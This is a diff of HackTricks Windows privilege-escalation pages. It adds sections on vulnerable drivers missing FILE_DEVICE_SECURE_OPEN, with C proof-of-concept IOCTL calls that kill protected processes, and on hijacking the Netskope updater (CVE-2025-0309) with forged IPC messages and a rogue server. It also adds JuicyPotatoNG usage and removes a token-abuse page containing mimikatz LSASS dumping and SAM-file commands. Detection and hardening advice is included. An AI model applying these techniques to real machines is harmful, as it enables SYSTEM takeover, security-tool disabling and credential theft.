Some signed third‑party drivers create their device object with a strong SDDL via IoCreateDeviceSecure but forget to set FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Without this flag, the secure DACL is not enforced when the device is opened through a path containing an extra component, letting any unprivileged user obtain a handle by using a namespace path like:
|
||||
|
||||
- \\ .\\DeviceName\\anything
|
||||
- \\ .\\amsdk\\anyfile (from a real-world case)
|
||||
|
||||
Once a user can open the device, privileged IOCTLs exposed by the driver can be abused for LPE and tampering. Example capabilities observed in the wild:
|
||||
- Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
|
||||
- Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
|
||||
- Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel.
|
||||
|
||||
Minimal PoC pattern (user mode):
|
||||
```c
|
||||
// Example based on a vulnerable antimalware driver
|
||||
#define IOCTL_REGISTER_PROCESS 0x80002010
|
||||
#define IOCTL_TERMINATE_PROCESS 0x80002048
|
||||
|
||||
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
|
||||
DWORD me = GetCurrentProcessId();
|
||||
DWORD target = /* PID to kill or open */;
|
||||
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
|
||||
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
|
||||
```
|
||||
|
||||
Mitigations for developers
|
||||
- Always set FILE_DEVICE_SECURE_OPEN when creating device objects intended to be restricted by a DACL.
|
||||
- Validate caller context for privileged operations. Add PP/PPL checks before allowing process termination or handle returns.
|
||||
- Constrain IOCTLs (access masks, METHOD_*, input validation) and consider brokered models instead of direct kernel privileges.
|
||||
|
||||
Detection ideas for defenders
|
||||
- Monitor user-mode opens of suspicious device names (e.g., \\ .\\amsdk*) and specific IOCTL sequences indicative of abuse.
|
||||
- Enforce Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) and maintain your own allow/deny lists.
|
||||
|
||||
|
||||
## PATH DLL Hijacking
|
||||
|
||||
@ -1839,4 +1882,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
|
||||
- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,125 @@
|
||||
# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
This page generalizes a class of Windows local privilege escalation chains found in enterprise endpoint agents and updaters that expose a low‑friction IPC surface and a privileged update flow. A representative example is Netskope Client for Windows < R129 (CVE-2025-0309), where a low‑privileged user can coerce enrollment into an attacker‑controlled server and then deliver a malicious MSI that the SYSTEM service installs.
|
||||
|
||||
Key ideas you can reuse against similar products:
|
||||
- Abuse a privileged service’s localhost IPC to force re‑enrollment or reconfiguration to an attacker server.
|
||||
- Implement the vendor’s update endpoints, deliver a rogue Trusted Root CA, and point the updater to a malicious, “signed” package.
|
||||
- Evade weak signer checks (CN allow‑lists), optional digest flags, and lax MSI properties.
|
||||
- If IPC is “encrypted”, derive the key/IV from world‑readable machine identifiers stored in the registry.
|
||||
- If the service restricts callers by image path/process name, inject into an allow‑listed process or spawn one suspended and bootstrap your DLL via a minimal thread‑context patch.
|
||||
|
||||
---
|
||||
## 1) Forcing enrollment to an attacker server via localhost IPC
|
||||
|
||||
Many agents ship a user‑mode UI process that talks to a SYSTEM service over localhost TCP using JSON.
|
||||
|
||||
Observed in Netskope:
|
||||
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
|
||||
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
|
||||
|
||||
Exploit flow:
|
||||
1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
|
||||
2) Send the IPC message invoking the provisioning command with your JWT and tenant name:
|
||||
|
||||
```json
|
||||
{
|
||||
"148": {
|
||||
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
|
||||
"tenantName": "TestOrg"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
3) The service starts hitting your rogue server for enrollment/config, e.g.:
|
||||
- /v1/externalhost?service=enrollment
|
||||
- /config/user/getbrandingbyemail
|
||||
|
||||
Notes:
|
||||
- If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4).
|
||||
|
||||
---
|
||||
## 2) Hijacking the update channel to run code as SYSTEM
|
||||
|
||||
Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence:
|
||||
|
||||
1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.:
|
||||
```json
|
||||
{
|
||||
"clientUpdate": { "updateIntervalInMin": 1 },
|
||||
"check_msi_digest": false
|
||||
}
|
||||
```
|
||||
2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store.
|
||||
3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version.
|
||||
|
||||
Bypassing common checks seen in the wild:
|
||||
- Signer CN allow‑list: the service may only check the Subject CN equals “netSkope Inc” or “Netskope, Inc.”. Your rogue CA can issue a leaf with that CN and sign the MSI.
|
||||
- CERT_DIGEST property: include a benign MSI property named CERT_DIGEST. No enforcement at install.
|
||||
- Optional digest enforcement: config flag (e.g., check_msi_digest=false) disables extra cryptographic validation.
|
||||
|
||||
Result: the SYSTEM service installs your MSI from
|
||||
C:\ProgramData\Netskope\stAgent\data\*.msi
|
||||
executing arbitrary code as NT AUTHORITY\SYSTEM.
|
||||
|
||||
---
|
||||
## 3) Forging encrypted IPC requests (when present)
|
||||
|
||||
From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user:
|
||||
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
|
||||
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
|
||||
|
||||
Attackers can reproduce encryption and send valid encrypted commands from a standard user. General tip: if an agent suddenly “encrypts” its IPC, look for device IDs, product GUIDs, install IDs under HKLM as material.
|
||||
|
||||
---
|
||||
## 4) Bypassing IPC caller allow‑lists (path/name checks)
|
||||
|
||||
Some services try to authenticate the peer by resolving the TCP connection’s PID and comparing the image path/name against allow‑listed vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe).
|
||||
|
||||
Two practical bypasses:
|
||||
- DLL injection into an allow‑listed process (e.g., nsdiag.exe) and proxy IPC from inside it.
|
||||
- Spawn an allow‑listed binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driver‑enforced tamper rules.
|
||||
|
||||
---
|
||||
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
|
||||
|
||||
Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes:
|
||||
- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
|
||||
- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
|
||||
|
||||
A reliable user‑mode loader that respects these constraints:
|
||||
1) CreateProcess of a vendor binary with CREATE_SUSPENDED.
|
||||
2) Obtain handles you’re still allowed to: PROCESS_VM_WRITE | PROCESS_VM_OPERATION on the process, and a thread handle with THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (or just THREAD_RESUME if you patch code at a known RIP).
|
||||
3) Overwrite ntdll!NtContinue (or other early, guaranteed‑mapped thunk) with a tiny stub that calls LoadLibraryW on your DLL path, then jumps back.
|
||||
4) ResumeThread to trigger your stub in‑process, loading your DLL.
|
||||
|
||||
Because you never used PROCESS_CREATE_THREAD or PROCESS_SUSPEND_RESUME on an already‑protected process (you created it), the driver’s policy is satisfied.
|
||||
|
||||
---
|
||||
## 6) Practical tooling
|
||||
- NachoVPN (Netskope plugin) automates a rogue CA, malicious MSI signing, and serves the needed endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
|
||||
- UpSkope is a custom IPC client that crafts arbitrary (optionally AES‑encrypted) IPC messages and includes the suspended‑process injection to originate from an allow‑listed binary.
|
||||
|
||||
---
|
||||
## 7) Detection opportunities (blue team)
|
||||
- Monitor additions to Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) works well.
|
||||
- Flag MSI executions initiated by the agent’s service from paths like C:\ProgramData\<vendor>\<agent>\data\*.msi.
|
||||
- Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – look for addonUrl / tenant anomalies and provisioning msg 148.
|
||||
- Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees.
|
||||
|
||||
---
|
||||
## Hardening tips for vendors
|
||||
- Bind enrollment/update hosts to a strict allow‑list; reject untrusted domains in clientcode.
|
||||
- Authenticate IPC peers with OS primitives (ALPC security, named‑pipe SIDs) instead of image path/name checks.
|
||||
- Keep secret material out of world‑readable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels.
|
||||
- Treat the updater as a supply‑chain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config.
|
||||
|
||||
## References
|
||||
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
|
||||
- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
|
||||
- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
|
||||
- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -14,7 +14,7 @@ Moreover, these functions accepts also an **`entropy` parameter** which will als
|
||||
|
||||
### Users key generation
|
||||
|
||||
The DPAPI generates a unique key (called **`pre-key`**) for each user based on their credentials. This key is derived from the user's password and other factors and the algorithm depends on the type of user but ends being a SHA1. For example, for domain users, **it depends on the HTLM hash of the user**.
|
||||
The DPAPI generates a unique key (called **`pre-key`**) for each user based on their credentials. This key is derived from the user's password and other factors and the algorithm depends on the type of user but ends being a SHA1. For example, for domain users, **it depends on the NTLM hash of the user**.
|
||||
|
||||
This is specially interesting because if an attacker can obtain the user's password hash, they can:
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING] > **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. _**Check:**_
|
||||
> [!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -15,6 +15,11 @@ _A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/Rotten
|
||||
|
||||
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
|
||||
### Compatibility quick notes
|
||||
|
||||
- Works reliably up to Windows 10 1803 and Windows Server 2016 when the current context has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.
|
||||
- Broken by Microsoft hardening in Windows 10 1809 / Windows Server 2019 and later. Prefer the alternatives linked above for those builds.
|
||||
|
||||
### Summary <a href="#summary" id="summary"></a>
|
||||
|
||||
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
@ -81,6 +86,29 @@ The actual solution is to protect sensitive accounts and applications which run
|
||||
|
||||
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
||||
|
||||
## JuicyPotatoNG (2022+)
|
||||
|
||||
JuicyPotatoNG re-introduces a JuicyPotato-style local privilege escalation on modern Windows by combining:
|
||||
- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener.
|
||||
- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present.
|
||||
- Tricks to satisfy DCOM activation constraints (e.g., the former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes).
|
||||
|
||||
Important notes (evolving behavior across builds):
|
||||
- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
|
||||
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
|
||||
|
||||
Basic usage (more flags in the help):
|
||||
|
||||
```
|
||||
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
|
||||
# Useful helpers:
|
||||
# -b Bruteforce all CLSIDs (testing only; spawns many processes)
|
||||
# -s Scan for a COM port not filtered by Windows Defender Firewall
|
||||
# -i Interactive console (only with CreateProcessAsUser)
|
||||
```
|
||||
|
||||
If you’re targeting Windows 10 1809 / Server 2019 where classic JuicyPotato is patched, prefer the alternatives linked at the top (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG may be situational depending on build and service state.
|
||||
|
||||
## Examples
|
||||
|
||||
Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try.
|
||||
@ -114,10 +142,7 @@ c:\Users\Public>
|
||||
|
||||
Oftentimes, the default CLSID that JuicyPotato uses **doesn't work** and the exploit fails. Usually, it takes multiple attempts to find a **working CLSID**. To get a list of CLSIDs to try for a specific operating system, you should visit this page:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://ohpe.it/juicy-potato/CLSID/
|
||||
{{#endref}}
|
||||
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
|
||||
|
||||
### **Checking CLSIDs**
|
||||
|
||||
@ -132,5 +157,6 @@ Then download [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master
|
||||
## References
|
||||
|
||||
- [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
|
||||
- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,199 +0,0 @@
|
||||
# Abusing Tokens
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Tokens
|
||||
|
||||
If you **don't know what are Windows Access Tokens** read this page before continuing:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../access-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
**Maybe you could be able to escalate privileges abusing the tokens you already have**
|
||||
|
||||
### SeImpersonatePrivilege
|
||||
|
||||
This is privilege that is held by any process allows the impersonation (but not creation) of any token, given that a handle to it can be obtained. A privileged token can be acquired from a Windows service (DCOM) by inducing it to perform NTLM authentication against an exploit, subsequently enabling the execution of a process with SYSTEM privileges. This vulnerability can be exploited using various tools, such as [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (which requires winrm to be disabled), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) and [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../juicypotato.md
|
||||
{{#endref}}
|
||||
|
||||
### SeAssignPrimaryPrivilege
|
||||
|
||||
It is very similar to **SeImpersonatePrivilege**, it will use the **same method** to get a privileged token.\
|
||||
Then, this privilege allows **to assign a primary token** to a new/suspended process. With the privileged impersonation token you can derivate a primary token (DuplicateTokenEx).\
|
||||
With the token, you can create a **new process** with 'CreateProcessAsUser' or create a process suspended and **set the token** (in general, you cannot modify the primary token of a running process).
|
||||
|
||||
### SeTcbPrivilege
|
||||
|
||||
If you have enabled this token you can use **KERB_S4U_LOGON** to get an **impersonation token** for any other user without knowing the credentials, **add an arbitrary group** (admins) to the token, set the **integrity level** of the token to "**medium**", and assign this token to the **current thread** (SetThreadToken).
|
||||
|
||||
### SeBackupPrivilege
|
||||
|
||||
The system is caused to **grant all read access** control to any file (limited to read operations) by this privilege. It is utilized for **reading the password hashes of local Administrator** accounts from the registry, following which, tools like "**psexec**" or "**wmiexec**" can be used with the hash (Pass-the-Hash technique). However, this technique fails under two conditions: when the Local Administrator account is disabled, or when a policy is in place that removes administrative rights from Local Administrators connecting remotely.\
|
||||
You can **abuse this privilege** with:
|
||||
|
||||
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
|
||||
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
|
||||
- following **IppSec** in [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
|
||||
- Or as explained in the **escalating privileges with Backup Operators** section of:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### SeRestorePrivilege
|
||||
|
||||
Permission for **write access** to any system file, irrespective of the file's Access Control List (ACL), is provided by this privilege. It opens up numerous possibilities for escalation, including the ability to **modify services**, perform DLL Hijacking, and set **debuggers** via Image File Execution Options among various other techniques.
|
||||
|
||||
### SeCreateTokenPrivilege
|
||||
|
||||
SeCreateTokenPrivilege is a powerful permission, especially useful when a user possesses the ability to impersonate tokens, but also in the absence of SeImpersonatePrivilege. This capability hinges on the ability to impersonate a token that represents the same user and whose integrity level does not exceed that of the current process.
|
||||
|
||||
**Key Points:**
|
||||
|
||||
- **Impersonation without SeImpersonatePrivilege:** It's possible to leverage SeCreateTokenPrivilege for EoP by impersonating tokens under specific conditions.
|
||||
- **Conditions for Token Impersonation:** Successful impersonation requires the target token to belong to the same user and have an integrity level that is less or equal to the integrity level of the process attempting impersonation.
|
||||
- **Creation and Modification of Impersonation Tokens:** Users can create an impersonation token and enhance it by adding a privileged group's SID (Security Identifier).
|
||||
|
||||
### SeLoadDriverPrivilege
|
||||
|
||||
Thi privilege allows to **load and unload device drivers** with the creation of a registry entry with specific values for `ImagePath` and `Type`. Since direct write access to `HKLM` (HKEY_LOCAL_MACHINE) is restricted, `HKCU` (HKEY_CURRENT_USER) must be utilized instead. However, to make `HKCU` recognizable to the kernel for driver configuration, a specific path must be followed.
|
||||
|
||||
This path is `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`, where `<RID>` is the Relative Identifier of the current user. Inside `HKCU`, this entire path must be created, and two values need to be set:
|
||||
|
||||
- `ImagePath`, which is the path to the binary to be executed
|
||||
- `Type`, with a value of `SERVICE_KERNEL_DRIVER` (`0x00000001`).
|
||||
|
||||
**Steps to Follow:**
|
||||
|
||||
1. Access `HKCU` instead of `HKLM` due to restricted write access.
|
||||
2. Create the path `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` within `HKCU`, where `<RID>` represents the current user's Relative Identifier.
|
||||
3. Set the `ImagePath` to the binary's execution path.
|
||||
4. Assign the `Type` as `SERVICE_KERNEL_DRIVER` (`0x00000001`).
|
||||
|
||||
```python
|
||||
# Example Python code to set the registry values
|
||||
import winreg as reg
|
||||
|
||||
# Define the path and values
|
||||
path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
|
||||
key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
|
||||
reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
|
||||
reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
|
||||
reg.CloseKey(key)
|
||||
```
|
||||
|
||||
More ways to abuse this privilege in [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
|
||||
|
||||
### SeTakeOwnershipPrivilege
|
||||
|
||||
This is similar to to **SeRestorePrivilege**. Its primary function allows a process to **assume ownership of an object**, circumventing the requirement for explicit discretionary access through the provision of WRITE_OWNER access rights. The process involves first securing ownership of the intended registry key for writing purposes, then altering the DACL to enable write operations.
|
||||
|
||||
```bash
|
||||
takeown /f 'C:\some\file.txt' #Now the file is owned by you
|
||||
icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
|
||||
# Use this with files that might contain credentials such as
|
||||
%WINDIR%\repair\sam
|
||||
%WINDIR%\repair\system
|
||||
%WINDIR%\repair\software
|
||||
%WINDIR%\repair\security
|
||||
%WINDIR%\system32\config\security.sav
|
||||
%WINDIR%\system32\config\software.sav
|
||||
%WINDIR%\system32\config\system.sav
|
||||
%WINDIR%\system32\config\SecEvent.Evt
|
||||
%WINDIR%\system32\config\default.sav
|
||||
c:\inetpub\wwwwroot\web.config
|
||||
```
|
||||
|
||||
### SeDebugPrivilege
|
||||
|
||||
This privilege permits the **debug other processes**, including to read and write in the memore. Various strategies for memory injection, capable of evading most antivirus and host intrusion prevention solutions, can be employed with this privilege.
|
||||
|
||||
#### Dump memory
|
||||
|
||||
You could use [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) from the [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) or [SharpDump](https://github.com/GhostPack/SharpDump) to **capture the memory of a process**. Specifically, this can apply to the **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** process, which is responsible for storing user credentials once a user has successfully logged into a system.
|
||||
|
||||
You can then load this dump in mimikatz to obtain passwords:
|
||||
|
||||
```
|
||||
mimikatz.exe
|
||||
mimikatz # log
|
||||
mimikatz # sekurlsa::minidump lsass.dmp
|
||||
mimikatz # sekurlsa::logonpasswords
|
||||
```
|
||||
|
||||
#### RCE
|
||||
|
||||
If you want to get a `NT SYSTEM` shell you could use:
|
||||
|
||||
- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
|
||||
- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
|
||||
- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
|
||||
|
||||
```bash
|
||||
# Get the PID of a process running as NT SYSTEM
|
||||
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
|
||||
```
|
||||
|
||||
### SeManageVolumePrivilege
|
||||
|
||||
The `SeManageVolumePrivilege` is a Windows user right that allows users to manage disk volumes, including creating and deleting them. While intended for administrators, if granted to non-admin users, it can be exploited for privilege escalation.
|
||||
|
||||
It's possible to leverage this privilege to manipulate volumes, leading to full volume access. The [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) can be used to give full access to all users for C:\
|
||||
|
||||
Additionally, the process outlined in [this Medium article](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) describes using DLL hijacking in conjunction with `SeManageVolumePrivilege` to escalate privileges.
|
||||
By placing a payload DLL `C:\Windows\System32\wbem\tzres.dll` and calling `systeminfo` the dll is executed.
|
||||
|
||||
## Check privileges
|
||||
|
||||
```
|
||||
whoami /priv
|
||||
```
|
||||
|
||||
The **tokens that appear as Disabled** can be enable, you you actually can abuse _Enabled_ and _Disabled_ tokens.
|
||||
|
||||
### Enable All the tokens
|
||||
|
||||
If you have tokens disables, you can use the script [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) to enable all the tokens:
|
||||
|
||||
```bash
|
||||
.\EnableAllTokenPrivs.ps1
|
||||
whoami /priv
|
||||
```
|
||||
|
||||
Or the **script** embed in this [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
|
||||
|
||||
## Table
|
||||
|
||||
Full token privileges cheatsheet at [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
|
||||
|
||||
| Privilege | Impact | Tool | Execution path | Remarks |
|
||||
| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"_ | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. |
|
||||
| **`SeBackup`** | **Threat** | _**Built-in commands**_ | Read sensitve files with `robocopy /b` | <p>- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br><br>- <code>SeBackupPrivilege</code> (and robocopy) is not helpful when it comes to open files.<br><br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter.</p> |
|
||||
| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. | |
|
||||
| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|
||||
| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool | <p>1. Load buggy kernel driver such as <code>szkg64.sys</code><br>2. Exploit the driver vulnerability<br><br>Alternatively, the privilege may be used to unload security-related drivers with <code>ftlMC</code> builtin command. i.e.: <code>fltMC sysmondrv</code></p> | <p>1. The <code>szkg64</code> vulnerability is listed as <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. The <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">exploit code</a> was created by <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
|
||||
| **`SeRestore`** | _**Admin**_ | **PowerShell** | <p>1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U</p> | <p>Attack may be detected by some AV software.</p><p>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege</p> |
|
||||
| **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U</p> | <p>Attack may be detected by some AV software.</p><p>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.</p> |
|
||||
| **`SeTcb`** | _**Admin**_ | 3rd party tool | <p>Manipulate tokens to have local admin rights included. May require SeImpersonate.</p><p>To be verified.</p> | |
|
||||
|
||||
## Reference
|
||||
|
||||
- Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
|
||||
- Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) about privesc with tokens.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -15,7 +15,8 @@
|
||||
var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
|
||||
|
||||
async function getSponsor() {
|
||||
const url = "https://book.hacktricks.wiki/sponsor"
|
||||
